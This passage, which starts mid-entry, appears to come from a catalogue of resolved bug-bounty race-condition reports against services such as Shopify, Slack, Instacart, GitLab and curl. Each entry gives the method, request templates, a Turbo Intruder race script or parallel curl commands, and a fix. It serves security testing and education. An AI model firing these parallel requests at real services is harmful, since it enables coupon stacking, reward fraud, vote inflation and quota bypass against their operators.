X-Auth-Token: <token>
Content-Type: application/json
{"query":"mutation Claim_credential_mutation($input_0:ClaimCredentialInput!...){claimCredential(input:$input_0){...}}","variables":{"input_0":{"team_id":"<id>","clientMutationId":"1"}}}
# fire in parallel via Intruder
Insight β GraphQL mutations that provision/claim a scarce or single-allotment resource (test credentials, seats, licenses, one-time grants) are prime race targets. Racing can grab more than your allotment or deny others via resource exhaustion. Fuzz every 'claim/allocate/reserve' mutation with parallel copies.
Real-world example
Bypass 'max N per account' quota via parallel resource creation
β Low
Specimen #1913309 Β· mozilla Β· none Β· 49 votes Β· resolved
Program mozillaSurface api
Root cause
A hard per-account limit (max 5 monitored emails) is enforced by counting existing rows then inserting; parallel create requests all read count<limit before any insert commits, so all succeed and the limit is exceeded.
Method
- Reach the enforced limit (e.g. 5 emails) so the next add is normally rejected.
- Capture the create request and fire many copies in parallel (Intruder / turbo intruder).
- Account ends with more than the allowed maximum of resources.
POST /api/v1/user/email HTTP/2
Host: <target>
Content-Type: application/json
X-Csrf-Token: <token>
Cookie: <session>
{"email":"attacker+N@example.com"}
# fire in parallel via Intruder while already at the limit
Insight β Any 'maximum N per account' cap (emails, team seats, subdomains, API keys, verifications, invites) enforced with count-then-insert is bypassable by parallel creation. The correct fix is a DB-level constraint / atomic counter making the store the source of truth (exactly the fix WorldID applied). When you see a soft limit, always try to race past it.
Real-world example
Vote/counter inflation via parallel-request race on one-per-user check
β Low
Specimen #183837 Β· urbandictionary Β· none Β· 42 votes Β· resolved
Program urbandictionarySurface apiTag account-takeover
Root cause
The up/down-vote endpoint enforced one vote per user with a non-atomic check-then-write. Sending many parallel vote requests let them all pass the 'already voted?' check before any committed, so a single user inflated the counter repeatedly.
Method
- Capture the vote request (with the user/session key)
- Send it from many parallel threads simultaneously (Intruder/Turbo Intruder, ~10-20 threads)
- Observe multiple 'saved' responses with the tally climbing each time
GET /v0/vote?defid=3889203&direction=up&key=<sessionkey> HTTP/1.1
Host: api.TARGET
# fire 10-20 in parallel -> {"status":"saved","up":6429}, 6430, 6431 ...
Insight β Reputation/counter endpoints (votes, likes, follows, poll options, review scores) with a one-per-user rule are classic race targets: parallelize the same request and watch whether the uniqueness guard holds under concurrency. Same TOCTOU family as coupon/limit races.
Real-world example
Race condition bypasses plan resource limit (TOCTOU)
β Low
Specimen #413759 Β· shopify Β· USD 500 Β· 36 votes Β· resolved
Program shopifySurface web
Root cause
The create-location limit check and the insert are not atomic; firing many create requests concurrently passes the check before any commit, creating more locations than the plan allows (12 vs 4).
Method
- Capture the create-location request
- Send N copies simultaneously (Burp Turbo Intruder / single-packet attack)
- All pass the pre-check and commit -> limit exceeded
Send the create-location POST xN in parallel (single-packet / last-byte-sync)
Insight β Any 'you may have at most N of X' quota is a TOCTOU target: blast parallel creates to slip past the count check before commit. Compare with the logic-based variant (#3102890, pending invites). Note: programs may consider bare plan-limit races low value unless there is further impact.
Real-world example
Single-gate race to bypass a uniqueness constraint (duplicate memberships)
β Low
Specimen #1285538 Β· omise Β· awarded Β· 26 votes Β· resolved
Program omiseSurface web
Root cause
The 'already invited?' check and the insert are not atomic (no lock/unique constraint), so many concurrent identical invite requests all pass the check before any writes, creating duplicate memberships.
Method
- Capture the POST /team/memberships invite request
- In Turbo Intruder, tag it with a gate and queue ~30 copies, then openGate to release the final byte of all simultaneously
- Multiple 200 OKs return; the member is invited many times
- Duplicates persist even after the invite is accepted
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30,
requestsPerConnection=100, pipeline=False)
for i in range(30):
engine.queue(target.req, target.baseInput, gate='race1')
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
Insight β Any 'check-then-act' with a uniqueness/limit rule is a race candidate. Fire N identical requests through a single release gate (Turbo Intruder gate= / Burp single-packet) so they all clear the check before the first commit.
Real-world example
Double-close of a file descriptor -> fd-number reuse hijack in threaded code
β Low
Specimen #2954286 Β· curl Β· none Β· 24 votes Β· resolved
Program curlSurface other
Root cause
An eventfd is close()d twice in multithreaded libcurl. Between the two closes another thread's open()/accept() is assigned the just-freed fd number; the second close then closes that unrelated descriptor, and subsequent I/O intended for the fd targets the wrong (possibly attacker) resource.
Method
- Thread A (curl) reaches the first close(X).
- Thread B opens a sensitive file OR thread C accepts an attacker connection and is assigned fd X (numbers are recycled immediately).
- Thread A reaches the second close(X), closing B/C's descriptor; later writes/reads then go to the attacker-controlled fd -> data leak or injection.
// conceptual interleaving (no single payload):
// T_curl: close(X); ... ; close(X) // double close
// T_open/accept: fd = open(secret)|accept(sock); // gets recycled X in between
// -> writes meant for the secret file land on the attacker's fd, or vice versa
Insight β A double-close (or use-after-close) is a security bug, not just a hygiene issue, in any multithreaded program: freed fd numbers are recycled instantly, so a racing open()/accept()/socket() can occupy the reused number and get hijacked. When auditing threaded C, treat double-close/UAF-on-fd like a UAF - hunt for close() paths reachable twice without nulling the fd.
Real-world example
TOCTOU file swap via colliding upload filenames + async processing
β Low
Specimen #214028 Β· gitlab Β· none Β· 22 votes Β· resolved
Program gitlabSurface webTag account-takeover
Root cause
Uploaded import files are written to a shared path derived from the original filename, then processed later by an async worker; two uploads with the same filename in the window between copy and processing cause one user's job to unpack another user's file.
Method
- Upload an import archive with a predictable/common filename (e.g. import.tar.gz)
- A victim uploads a file with the same name before the queue drains
- The shared path is overwritten; the async job restores the other user's contents into your project
# vulnerable path derivation
import_upload_path = File.join(storage_path, 'uploads', params[:file].original_filename)
# reproduce: stop Sidekiq, upload same-named file from two accounts, restart
Insight β When file writes use user-controlled names in a shared directory and processing is deferred (queue/cron), you have a TOCTOU swap primitive. Force collisions with common names; fix is random server-side filenames namespaced per user.
Real-world example
Race the trial-provisioning endpoint for multiplied free quota
β Low
Specimen #1087188 Β· weblate Β· none Β· 20 votes Β· resolved
Program weblateSurface web
Root cause
POST /trial/ enforces a rate limit but not atomic 'one trial per account' logic, so concurrent requests each create a trial, multiplying strings/languages quota.
Method
- Intercept the Start-Trial POST /trial/ request
- Send it to Turbo Intruder with a race config (single-packet / gate)
- Multiple trials are provisioned in parallel (e.g. 6x -> 6x50k strings, >100 languages)
# Turbo Intruder race.py, tag requests with 'Test: %s' header, openGate to fire simultaneously
POST /trial/ HTTP/1.1
Host: hosted.weblate.org
csrfmiddlewaretoken=...
Insight β 'One-per-account' business limits (trials, coupons, votes, withdrawals) are usually enforced as check-then-insert without a DB unique constraint/lock. Fire N concurrent requests in one window to bypass the singleton guard.
Real-world example
Unsynchronized global buffer + siglongjmp timeout -> multithread crash (DoS)
β Low
Specimen #1990421 Β· ibb Β· 480 Β· 7 votes Β· resolved
Program ibbSurface other
Root cause
libcurl's synchronous name resolver used alarm()/siglongjmp() to time out slow resolves and stored results in a global buffer with no mutex; concurrent threads racing that shared state corrupt it, crashing or misbehaving.
Method
- Build libcurl with the synchronous (non-threaded, non-c-ares) resolver.
- Drive many concurrent resolves from multiple threads so the alarm/siglongjmp timeout path and the shared global buffer are exercised in parallel.
- The unprotected global state is corrupted -> crash / undefined behavior.
# no single payload - trigger many concurrent DNS resolves in a multithreaded
# process using the sync resolver so the shared global buffer races.
Insight β Shared static/global buffers touched by signal handlers (siglongjmp) or by multiple threads without locking are memory-safety races. In multithreaded libraries, audit 'sync'/legacy code paths for global/static state and signal-based control flow; siglongjmp out of a signal handler across threads is especially fragile.
Real-world example
Thread race on a global sigjmp_buf in alarm-based DNS timeout (curl siglongjmp)
β Low
Specimen #1929597 Β· curl Β· none Β· 6 votes Β· resolved
Program curlSurface other
Root cause
On builds without POSIX/Windows threading, libcurl's USE_ALARM_TIMEOUT path uses a single global sigjmp_buf (curl_jmpenv) for DNS-resolution timeouts. Two threads resolving concurrently can siglongjmp with a wrong register context when a DNS timeout fires, causing SIGSEGV.
Method
- Force the USE_ALARM_TIMEOUT path (systems lacking threaded resolver, or #define it for testing)
- Run the multithreaded example with CURLOPT_TIMEOUT set low
- Point DNS at a blackhole resolver so timeouts fire in multiple threads simultaneously
- siglongjmp restores a stale jmp_buf β crash in Curl_resolv_timeout/Curl_failf
# Trigger path for local repro:
#define USE_ALARM_TIMEOUT /* in lib/hostip.c */
// then in the multithread sample: curl_easy_setopt(curl, CURLOPT_TIMEOUT, 2);
// DNS -> blackhole (e.g. 3.219.212.117) so alarm()/siglongjmp fires in 2+ threads
// Fix: guard the sigsetjmp/siglongjmp region with a curl_simple_lock
Insight β A remote party controlling DNS response timing (privileged network position) can drive DoS in apps linking a non-thread-safe libcurl. General lesson: any process-global buffer used by signal handlers (sigjmp_buf, static state) is a race hazard the moment two threads can enter the guarded region β audit for shared non-reentrant state on timeout/signal paths.
Real-world example
TOCTOU race to hijack active ICA channel during IBC upgrade
β Low
Specimen #2917368 Β· cosmos Β· awarded Β· 22 votes Β· resolved
Program cosmosSurface other
Root cause
The 'active channel' for an interchain account is set via a check-then-act sequence that is not atomic across the controller (ack) and host (open-confirm) handshakes, and the existence check misses FLUSH states. An attacker races a malicious channel into the window.
Method
- Monitor newly-initiated ICA channels on the source chain
- During the window between ICA chan-init on controller and open-confirm on host, chan-init + chan-try a second channel on the same ICA port/connection with a different (old) encoding
- Wait for the victim channel to begin an upgrade (encoding change proposal)
- Complete the malicious channel handshake in parallel so it becomes the active channel with a stale encoding
- Host can no longer deserialize ICA txs until another upgrade is performed
Insight β State-machine handshakes / two-phase commits are prime TOCTOU targets: if the 'is there already an active X?' check and the 'set X active' write are not one atomic transaction, and the check omits transitional states (flushing/upgrading), you can slip a second entity in during a state transition.
Real-world example
Coupon/promo redemption race enables stacking a single code
β Info
Specimen #157996 Β· instacart Β· awarded Β· 43 votes Β· resolved
Program instacartSurface webTag account-takeover
Root cause
The promo-redemption endpoint checked 'already redeemed?' and then applied credit non-atomically (TOCTOU). Firing many redemption requests in parallel let all pass the check before any committed, stacking the same coupon's value repeatedly.
Method
- Capture the redeem-promo-code request
- Replay it many times concurrently/asynchronously (Turbo Intruder / single-packet)
- Observe the same code applied multiple times, stacking discount/credit
POST /redeem (code=PROMO) x N in parallel (race window)
Insight β Any 'one-time' resource (coupon, referral bonus, gift card, invite, withdrawal) is a race target: send N simultaneous requests and check whether the uniqueness/limit check is enforced atomically. Financial impact makes this high-value.
Real-world example
Race condition on one-time reward endpoint (double-credit)
β Info
Specimen #165570 Β· slack Β· awarded Β· 29 votes Β· resolved
Program slackSurface web
Root cause
The account-creation survey grants a one-time credit but processes concurrent submissions without locking/idempotency, so firing the request in parallel credits the reward multiple times (TOCTOU on the 'already rewarded?' check).
Method
- Reach the one-time reward action (survey completion)
- Capture the request
- Replay it concurrently (parallel/async, single-packet attack)
- Reward is applied N times (e.g. 2 requests -> $200)
# fire in parallel
curl req & curl req & # or Burp Turbo Intruder single-packet attack
Insight β Any once-per-account credit/redeem/vote endpoint is a race target. Test with concurrent identical requests before the guard commits. Fix requires DB-level uniqueness/locking, not a read-then-write check.
Real-world example
Vote counter manipulation via parallel requests
β Info
Specimen #152717 Β· urbandictionary Β· none Β· 15 votes Β· resolved
Program urbandictionarySurface webTag account-takeover
Root cause
The vote endpoint checks 'already voted?' and increments the counter non-atomically, so many concurrent identical requests all pass the check and each increments, yielding arbitrary (even negative opposite) counts.
Method
- Capture a single vote request
- Remove your existing vote so you are eligible to vote again
- Fire many copies of the vote request concurrently (curl cmd & cmd &, Burp Turbo Intruder, single-packet attack)
- Observe the counter jump beyond one and the opposite counter go negative
# fire the captured vote request in parallel
curl 'https://TARGET/vote?def=ID&dir=up' & curl 'https://TARGET/vote?def=ID&dir=up' & ...
Insight β Any 'once per user' counter (votes, likes, redemptions, invites) is a TOCTOU target: replay the same authorized request in parallel to bypass the one-shot check. Use Burp single-packet attack for tight windows.
Real-world example
Single-use invitation token double-consumed via race
β Info
Specimen #119354 Β· security Β· none Β· 14 votes Β· resolved
Program securitySurface webChain race on token consume -> bypass single-use / plan limitTag account-takeover
Root cause
Invitation acceptance reads-then-marks the token without an atomic lock, so submitting acceptance concurrently consumes one invite token more than once, authenticating multiple accounts / bypassing per-invite or plan limits.
Method
- Obtain a single invitation token/link.
- Submit the accept action simultaneously from two logged-in users/browsers (or via parallel requests).
- Both succeed, joining on one invite; same pattern bypasses staff/seat limits.
Insight β Any single-use consumption (invites, coupons, one-time links, seat/plan limits) that isn't guarded by an atomic DB lock is racy. Use Burp single-packet / parallel requests to test; the fix is an exclusive lock around read-check-consume.